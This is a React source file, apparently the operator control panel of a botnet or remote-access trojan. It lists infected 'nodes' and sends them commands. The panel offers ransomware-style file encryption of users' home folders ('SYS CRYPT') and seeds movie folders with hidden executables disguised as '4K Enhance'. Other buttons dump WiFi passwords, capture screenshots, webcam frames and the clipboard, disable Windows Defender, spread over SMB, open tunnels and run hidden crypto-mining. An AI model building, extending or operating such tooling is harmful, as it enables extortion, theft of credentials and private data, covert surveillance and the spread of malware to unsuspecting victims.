<AlsoHere page="/crucible" />
<FleetGroupsStrip
groups={groups}
liveAgentIds={onlineAgentIds}
selectedCount={selectedIds.size}
onSelectGroup={activateGroup}
onDeleteGroup={removeGroup}
onCreateGroup={() => setShowGroupModal(true)}
/>
<div className="crucible-layout">
<aside className="crucible-sidebar">
<NeonCard
accent="cyan"
className="crucible-heat-card operator-deck-card operator-interactive"
tilt3d={false}
>
<FleetHeatMiniMap
agents={agents}
groups={groups}
allIds={allIds}
selectedIds={selectedIds}
onSelectAgent={selectAgent}
/>
</NeonCard>
</aside>
<div className="crucible-main">
{/* ── Node Roster ─────────────────────────────────────────────────── */}
<NeonCard accent="cyan" className="crucible-roster-card operator-deck-card operator-interactive" hud tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> NODE ROSTER
</div>
{agents.length === 0 ? (
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
) : (
<div className="crucible-roster">
{agents.map((a) => {
const sel = selectedIds.has(a.id);
const isOn = online(a);
const ssh = sshStatus(a);
const posture = postureStatus(a);
const pg = primaryGroupForAgent(groups, a.id);
const color = agentColor(a.id, allIds, pg?.color);
return (
<div
key={a.id}
className={`crucible-node-card operator-interactive ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
style={{
...(sel ? { '--sel-color': color } : {}),
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
} as React.CSSProperties}
onClick={() => toggle(a.id)}
>
<div className="crucible-node-check">
<span className={`cn-checkbox ${sel ? 'checked' : ''}`}
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
</div>
<div className="crucible-node-body">
<div className="cn-name" style={sel || pg ? { color: pg?.color ?? color } : undefined}>
<span className="cn-platform">{platformIcon(a.platform)}</span>
{a.name}
{pg && (
<span className="cn-group-pill" style={{ color: pg.color, borderColor: `${pg.color}66` }}>
{pg.name}
</span>
)}
</div>
<div className="cn-meta">
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
</div>
<div className="cn-ip font-tech">{a.ip || '—'}</div>
<div className="cn-stats">
<span>{a.cpu_cores}c</span>
<span>{formatHashrate(a.hashrate_15m)}</span>
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
</div>
<div className="cn-badges">
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
<div
className={`cn-posture ${posture.cls}`}
title={postureTooltip(a)}
>
{posture.label}
</div>
{posture.patch && (
<div
className={`cn-patch ${posture.patch.cls}`}
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)${a.pending_updates !== undefined ? ` · ${a.pending_updates} pending` : ''}`}
>
{posture.patch.label}
</div>
)}
{posture.ports && (
<div
className={`cn-ports ${posture.ports.cls}`}
title={`${a.listen_port_count ?? '?'} TCP listeners (run listen_ports for full list)`}
>
{posture.ports.label}
</div>
)}
{(() => { const pb = pendingBadge(a); return pb && (
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
{pb.label}
</div>
); })()}
{(() => { const rb = rebootBadge(a); return rb && (
<div className={`cn-reboot ${rb.cls}`} title="System reboot required to apply updates">
{rb.label}
</div>
); })()}
{a.agent_elevated && (
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
)}
{(() => { const tb = thermalBadge(a); return tb && (
<div
className={`cn-thermal ${tb.cls}`}
title={`CPU: ${a.cpu_temp_c ?? '?'}°C GPU: ${a.gpu_temp_c ?? '?'}°C`}
>{tb.label}</div>
); })()}
{(() => { const db = diskBadge(a); return db && (
<div
className={`cn-disk ${db.cls}`}
title={`Disk: ${a.disk_free_gb?.toFixed(1) ?? '?'} GB free of ${a.disk_total_gb?.toFixed(0) ?? '?'} GB`}
>{db.label}</div>
); })()}
{(() => { const trb = throttleBadge(a); return trb && (
<div
className={`cn-throttle ${trb.cls}`}
title={`CPU running at ${a.cpu_freq_mhz ?? '?'} MHz (max ${a.cpu_max_mhz ?? '?'} MHz)`}
>{trb.label}</div>
); })()}
{(() => { const db2 = dnsBadge(a); return db2 && (
<div
className={`cn-dns ${db2.cls}`}
title={`DNS changed since last heartbeat!\nCurrent: ${a.dns_servers?.join(', ') ?? '?'}`}
>{db2.label}</div>
); })()}
</div>
{a.dns_servers && a.dns_servers.length > 0 && (
<div className={`cn-dns-row${a.dns_drifted ? ' dns-drifted' : ''}`}
title={`DNS: ${a.dns_servers.join(', ')}${a.dns_search_domains?.length ? ' Search: ' + a.dns_search_domains.join(', ') : ''}`}>
<span className="cn-dns-icon"></span>
{a.dns_servers.slice(0, 2).join(' · ')}
{a.dns_drifted && <span className="dns-drift-flag"> DRIFT</span>}
</div>
)}
{a.services && a.services.length > 0 && (
<div className="cn-services">
{importantServices(a.services).map(svc => (
<span
key={svc.name}
className={`cn-svc ${svcDotClass(svc.status)}`}
title={`${svc.display_name ?? svc.name} status: ${svc.status} start: ${svc.start_type}`}
>
<span className="svc-dot">{svcDot(svc.status)}</span>
{svcLabel(svc)}
</span>
))}
</div>
)}
</div>
</div>
);
})}
</div>
)}
</NeonCard>
{/* ── Focused machine banner ──────────────────────────────────────── */}
{focusedAgent && (
<div className="crucible-focus-bar" style={{
display: 'flex', alignItems: 'center', gap: '1.5rem', flexWrap: 'wrap',
background: 'rgba(0,245,255,0.06)', border: '1px solid rgba(0,245,255,0.25)',
borderRadius: '8px', padding: '0.65rem 1rem', marginBottom: '1rem',
fontSize: '0.85rem',
}}>
<span style={{ color: 'var(--neon-cyan)', fontFamily: 'monospace', fontWeight: 700, fontSize: '0.75rem', letterSpacing: '0.1em' }}>
ACTIVE TARGET
</span>
<span style={{ fontFamily: 'monospace', color: agentColor(focusedAgent.id, allIds), fontWeight: 600 }}>
{platformIcon(focusedAgent.platform)} {focusedAgent.name}
</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
{focusedAgent.status !== 'online' && (
<span style={{ color: '#ff6666', fontFamily: 'monospace', fontSize: '0.8rem' }}>
offline commands will fail until it reconnects
</span>
)}
<button
className="button crucible-btn-muted"
style={{ marginLeft: 'auto', fontSize: '0.75rem', padding: '0.2rem 0.6rem' }}
onClick={() => setSelectedIds(new Set())}
>
Deselect
</button>
</div>
)}
{/* ── Groups & Actions ────────────────────────────────────────────── */}
<div className="crucible-row">
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> GROUPS
</div>
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
Same groups as Fleet Roster click a chip to select all members.
</p>
{groups.length === 0 ? (
<p className="form-hint" style={{ margin: 0 }}>
Select nodes, then <strong>Create group</strong> to name and color them.
</p>
) : (
<div className="crucible-groups-list">
{groups.map((g) => (
<div
key={g.id}
className="crucible-group-item"
style={{
borderColor: `${g.color}55`,
background: `${g.color}14`,
}}
onClick={() => activateGroup(g)}
>
<span className="fleet-group-chip-dot" style={{ background: g.color }} />
<span className="cg-name" style={{ color: g.color }}>{g.name}</span>
<span className="cg-count">{g.agentIds.length} nodes</span>
<button className="cg-del" onClick={(e) => { e.stopPropagation(); removeGroup(g.id); }}>×</button>
</div>
))}
</div>
)}
{selectedIds.size > 0 && (
<button
type="button"
className="button crucible-btn"
style={{ marginTop: '0.75rem' }}
onClick={() => setShowGroupModal(true)}
>
Create group from selection ({selectedIds.size})
</button>
)}
</NeonCard>
<NeonCard accent="amber" className="crucible-actions-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> OPERATIONS
{selectedIds.size > 0 && (
<span style={{ marginLeft: '0.75rem', color: 'var(--neon-cyan)', fontSize: '0.75rem', fontWeight: 400 }}>
{selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`}
</span>
)}
</div>
<div className="crucible-ops">
{/* ── Posture ──────────────────────────────────── */}
<div className="crucible-op-group cop-recon">
<span className="cop-label">Posture &amp; Recon</span>
<button
className="button crucible-op-btn crucible-op-scan"
disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
onClick={() => scanSelected()}
title={selectedIds.size > 0
? `Deep scan ${selectedIds.size} selected node(s): posture + ports + patch`
: 'Deep scan ALL online nodes: posture + ports + patch'}
>
{selectedIds.size > 0
? `⬡ Deep Scan (${selectedIds.size} selected)`
: `⬡ Deep Scan Fleet (${agents.filter(online).length} online)`}
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
onClick={() => probePosture(selectedIds.size > 0 ? selectedAgents.filter(online) : agents.filter(online))}
title="Posture only (AV, firewall, SSH state)"
>
Posture Only
</button>
</div>
<CrucibleExpandedOps
selectedAgents={selectedAgents}
selectedCount={selectedIds.size}
singleSelectedAgent={singleSelectedAgent}
commandResults={commandResults}
onEcho={appendTerminalLine}
onAgentError={(agentId, agentName, action, err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId,
agentName,
isCmd: false,
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(),
success: false,
targeted: true,
},
]);
}}
/>
{/* ── SSH ──────────────────────────────────────── */}
<div className="crucible-op-group cop-ssh">
<span className="cop-label">SSH</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => probeSSH()}
title="Probe port 22 on selected nodes"
>
Probe SSH
</button>
<button
className="button crucible-op-btn crucible-op-wake"
disabled={selectedIds.size === 0}
onClick={() => wakeSSH()}
title="Install + start OpenSSH server on selected Windows nodes"
>
Wake SSH
</button>
</div>
{/* ── Mining ───────────────────────────────────── */}
<div className="crucible-op-group cop-mining">
<span className="cop-label">Mining</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'resume').then((r) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `resume → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
}]);
}).catch((err) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
text: `[ERROR] resume: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
}]);
});
}}
>
Resume
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'pause').then((r) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `pause → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
}]);
}).catch((err) => {
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
text: `[ERROR] pause: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false,
}]);
});
}}
>
Pause
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch('whoami', shellType)}
title="Run whoami on selected"
>
whoami
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
title="Network adapter info"
>
ipconfig
</button>
</div>
{/* ── Sys Crypt + remote browser ───────────────── */}
<div className="crucible-op-group cop-destructive">
<span className="cop-label"> Destructive</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
style={{
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
border: '1px solid #ff2222',
color: '#fff',
fontWeight: 700,
letterSpacing: '0.06em',
}}
onClick={() => {
if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
Promise.all(
selectedAgents.filter(online).map((a) =>
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
setTermLines((prev) => [
...prev,
{
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] sys_crypt: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
},
]);
})
)
);
appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
}}
>
🔒 SYS CRYPT ({selectedIds.size})
</button>
{browseAgent && selectedIds.size > 0 ? (
<>
{selectedIds.size > 1 && (
<p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
Browsing {browseAgent.name} only Encrypt applies to all {encryptTargets.length} online selection(s).
</p>
)}
<RemoteDirBrowser
agentId={browseAgent.id}
agentName={browseAgent.name}
platform={browseAgent.platform}
online={online(browseAgent)}
encryptTargets={encryptTargets}
commandResults={fmCommandResults}
onTerminalLine={appendTerminalLine}
/>
</>
) : null}
</div>
{/* ── SUPP Seek Mode ───────────────────────────── */}
<div className="crucible-op-group cop-seek crucible-seek-group">
<span className="cop-label"> SUPP Seek Mode</span>
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
Recursively seeds every media directory under the given path with
silent launcher files. The agent copies itself as a hidden exe (Windows)
or drops a shell bootstrap (Mac/Linux) in each folder containing a movie.
</p>
<label className="seek-field-label">Root Path</label>
<input
type="text"
className="seek-path-input"
placeholder={`e.g. D:\\ or /Volumes/Movies`}
value={seekPath}
onChange={(e) => setSeekPath(e.target.value)}
style={{
width: '100%', padding: '0.35rem 0.6rem',
background: '#0d0d1a', border: '1px solid #333',
color: 'var(--neon-cyan)', borderRadius: 4,
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
marginBottom: '0.4rem', boxSizing: 'border-box',
}}
/>
<label className="seek-field-label">Launcher Stem (file name)</label>
<input
type="text"
className="seek-path-input"
placeholder="4K Enhance"
value={seekStem}
onChange={(e) => setSeekStem(e.target.value)}
style={{
width: '100%', padding: '0.35rem 0.6rem',
background: '#0d0d1a', border: '1px solid #333',
color: '#ddd', borderRadius: 4,
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
marginBottom: '0.5rem', boxSizing: 'border-box',
}}
/>
<div style={{ display: 'flex', gap: '1rem', marginBottom: '0.6rem', fontSize: '0.8rem' }}>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
<input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
<span style={{ color: '#61dafb' }}> Windows</span>
<span style={{ color: '#555', fontSize: '0.7rem' }}>.bat + .exe</span>
</label>
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
<input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
<span style={{ color: '#a8ff78' }}> Mac/Linux</span>
<span style={{ color: '#555', fontSize: '0.7rem' }}>.command</span>
</label>
</div>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 || (!seekWin && !seekMac)}
onClick={launchSeek}
title={selectedIds.size === 0
? 'Select at least one agent to seed from'
: `Launch SUPP Seek on ${selectedIds.size} agent(s) — scans ${seekPath || '<path>'}`}
style={{
background: 'linear-gradient(135deg, #ff8c00 0%, #ff4500 100%)',
border: 'none', color: '#fff', fontWeight: 700,
letterSpacing: '0.08em',
}}
>
LAUNCH SEEK ({selectedIds.size} node{selectedIds.size !== 1 ? 's' : ''})
</button>
<p style={{ margin: '0.4rem 0 0', fontSize: '0.68rem', color: '#666' }}>
Results appear in the terminal below. Each seeded dir drops:<br />
{seekWin && <><strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.bat</strong> + <strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.exe</strong>{seekMac ? ' & ' : ''}</>}
{seekMac && <strong style={{ color: '#a8ff78' }}>{seekStem || '4K Enhance'}.command</strong>}
</p>
</div>
{/* ── Recon ────────────────────────────────────── */}
<div className="crucible-op-group cop-recon">
<span className="cop-label">Recon</span>
<button
className="button crucible-op-btn"
style={{ borderColor: 'rgba(0,245,255,0.5)' }}
disabled={selectedIds.size === 0}
title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (3060s)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, 'full_sys_check').catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] full_sys_check: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `full_sys_check → ${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
Full Sys Check
</button>
{(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
<button
key={cmd}
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title={{
screenshot: 'Capture the desktop screenshot',
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
clipboard: 'Read the current clipboard contents',
wifi: 'Dump all saved WiFi passwords',
software: 'List installed programs',
ps: 'Running process list (tasklist)',
netstat: 'Active TCP/UDP connections',
sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
users: 'Local user accounts + whoami /all',
}[cmd]}
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, cmd).catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] ${cmd}: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `${cmd}${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
{cmd}
</button>
))}
</div>
{/* ── Agent Control ─────────────────────────────── */}
<div className="crucible-op-group cop-agent">
<span className="cop-label">Agent</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Restart the agent process"
onClick={() => {
const ids = selectedAgents.filter(online).map((a) => a.id);
if (ids.length === 0) return;
api.sendBulkCommand(ids, 'restart').then((r) => {
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `restart → sent:${r.sent} failed:${r.failed}`, ts: new Date() }]);
}).catch(() => null);
}}
>
Restart
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Pull the last 300 lines of the agent log"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `get_log → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Get Log
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Kill the agent process (it will restart via watchdog/persistence)"
style={{ color: '#ff8c00' }}
onClick={() => {
if (!confirm(`Kill agent process on ${selectedIds.size} node(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `kill → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Kill
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Fully uninstall: remove persistence, delete files, exit"
style={{ color: '#ff4444' }}
onClick={() => {
if (!confirm(`UNINSTALL from ${selectedIds.size} node(s)? This removes persistence and deletes all agent files.`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `uninstall → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Uninstall
</button>
</div>
{/* ── System Power ──────────────────────────────── */}
<div className="crucible-op-group cop-sys">
<span className="cop-label">System</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="OS reboot"
onClick={() => {
if (!confirm(`Reboot ${selectedIds.size} machine(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `reboot_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Reboot
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="OS shutdown (power off)"
style={{ color: '#ff4444' }}
onClick={() => {
if (!confirm(`Shutdown ${selectedIds.size} machine(s)?`)) return;
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `shutdown_machine → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Shutdown
</button>
</div>
{/* ── Aggressive Ops ───────────────────────────── */}
<div className="crucible-op-group cop-agg">
<span className="cop-label">Aggressive Ops</span>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Dump all saved WiFi network credentials from selected Windows nodes"
style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
onClick={() => {
selectedAgents.filter(online).forEach((a) => {
api.sendAgentCommand(a.id, 'get_wifi_passwords').catch((err) =>
setTermLines((prev) => [...prev, {
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
text: `[ERROR] get_wifi_passwords: ${err instanceof Error ? err.message : String(err)}`,
ts: new Date(), success: false, targeted: true,
}])
);
});
setTermLines((prev) => [...prev, {
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
text: `get_wifi_passwords → ${selectedIds.size} node(s)`, ts: new Date(),
}]);
}}
>
📶 WiFi Passwords
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Disable Windows Defender real-time monitoring (requires admin)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'defender_off').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `defender_off → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Defender Off
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Scan local subnet for reachable hosts (up to 64)"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'subnet_scan').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `subnet_scan → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Subnet Scan
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Force one lateral-spread attempt via SMB/shares"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'spread_now').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `spread_now → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Spread Now
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
onClick={() => {
const url = tunnelURL.trim() || '';
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'tunnel_cloudflared', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `tunnel_cloudflared → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
}}
>
Start Tunnel
</button>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title="UPnP hole punch: map external port 8989 → agent's LAN port 8989"
onClick={() => {
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'hole_punch').catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `hole_punch → ${selectedIds.size} node(s)`, ts: new Date() }]);
}}
>
Hole Punch
</button>
</div>
{/* ── File Ops ─────────────────────────────────── */}
<div className="crucible-op-group cop-fileops">
<span className="cop-label">File Ops</span>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem', flexWrap: 'wrap' }}>
<label
className="button crucible-op-btn"
style={{ cursor: selectedIds.size === 0 ? 'not-allowed' : 'pointer', opacity: selectedIds.size === 0 ? 0.5 : 1 }}
title="Push a local file to each selected agent's Desktop (Windows / macOS / Linux)"
>
Desktop
<input
type="file"
style={{ display: 'none' }}
disabled={selectedIds.size === 0}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const targets = selectedAgents.filter(online);
try {
for (const a of targets) {
await pushFileToAgentDesktop(
(action, args) => api.sendAgentCommand(a.id, action, args),
file
);
}
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `push_desktop ${file.name}${targets.length} node(s)`,
ts: new Date(),
},
]);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
e.target.value = '';
}}
/>
</label>
<span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
{desktopPathHint(selectedAgents.find((a) => selectedIds.has(a.id))?.platform)}
</span>
</div>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center', marginBottom: '0.4rem' }}>
<input
type="text"
placeholder="Remote path (or @desktop/file.txt)"
value={downloadPath}
onChange={(e) => setDownloadPath(e.target.value)}
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
/>
<button
className="button crucible-op-btn"
disabled={selectedIds.size === 0 || !downloadPath.trim()}
title="Download a file from the agent (result is base64 in terminal)"
onClick={() => {
const p = downloadPath.trim();
selectedAgents.filter(online).forEach((a) =>
api.sendAgentCommand(a.id, 'download', { path: p }).catch((err) =>
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] download: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
)
);
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `download ← ${p}`, ts: new Date() }]);
}}
>
Pull
</button>
</div>
<div style={{ display: 'flex', gap: '0.4rem', alignItems: 'center' }}>
<input
type="text"
placeholder="Path or @desktop/filename"
value={uploadPath}
onChange={(e) => setUploadPath(e.target.value)}
style={{ flex: 1, padding: '0.3rem 0.5rem', background: '#0d0d1a', border: '1px solid #333', color: '#ddd', borderRadius: 3, fontFamily: 'var(--font-tech)', fontSize: '0.78rem' }}
/>
<label
className="button crucible-op-btn"
style={{ cursor: 'pointer' }}
title="Upload to custom path, or leave blank and use ↑ Desktop"
>
Push path
<input
type="file"
style={{ display: 'none' }}
ref={(el) => { uploadFileRef.current = el; }}
onChange={async (e) => {
const file = e.target.files?.[0];
if (!file) return;
const p = uploadPath.trim() || `@desktop/${file.name}`;
try {
const { readFileAsBase64 } = await import('../help/desktopPush');
const b64 = await readFileAsBase64(file);
selectedAgents.filter(online).forEach((a) =>
api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) =>
setTermLines((prev) => [...prev, { id: mkId(), agentId: a.id, agentName: a.name, isCmd: false, text: `[ERROR] upload: ${err instanceof Error ? err.message : String(err)}`, ts: new Date(), success: false, targeted: true }])
)
);
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `upload ${file.name}${p} on ${selectedIds.size} node(s)`, ts: new Date() }]);
} catch (err) {
alert(err instanceof Error ? err.message : String(err));
}
if (uploadFileRef.current) uploadFileRef.current.value = '';
}}
/>
</label>
</div>
{singleSelectedAgent && (
<div style={{ marginTop: '0.75rem' }}>
<FileManager
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={online(singleSelectedAgent)}
commandResults={fmCommandResults}
/>
</div>
)}
</div>
{/* ── Shell type ───────────────────────────────── */}
<div className="crucible-op-group cop-shell">
<span className="cop-label">Shell Mode</span>
<div className="crucible-shell-tabs">
{(['powershell', 'exec', 'sh'] as ShellType[]).map((s) => (
<button
key={s}
className={`crucible-shell-tab ${shellType === s ? 'active' : ''}`}
onClick={() => setShellType(s)}
>
{s === 'powershell' ? 'PS' : s === 'exec' ? 'CMD' : 'SH'}
</button>
))}
</div>
</div>
{/* ── Selection chips ──────────────────────────── */}
{selectedIds.size > 0 && (
<div className="crucible-sel-chips">
{selectedAgents.map((a) => {
const color = agentColor(a.id, allIds);
const ssh = sshStatus(a);
return (
<span
key={a.id}
className="crucible-chip"
style={{ borderColor: color, color }}
onClick={() => toggle(a.id)}
title={`${a.ip ?? ''} · ${ssh.label}`}
>
{a.name} ×
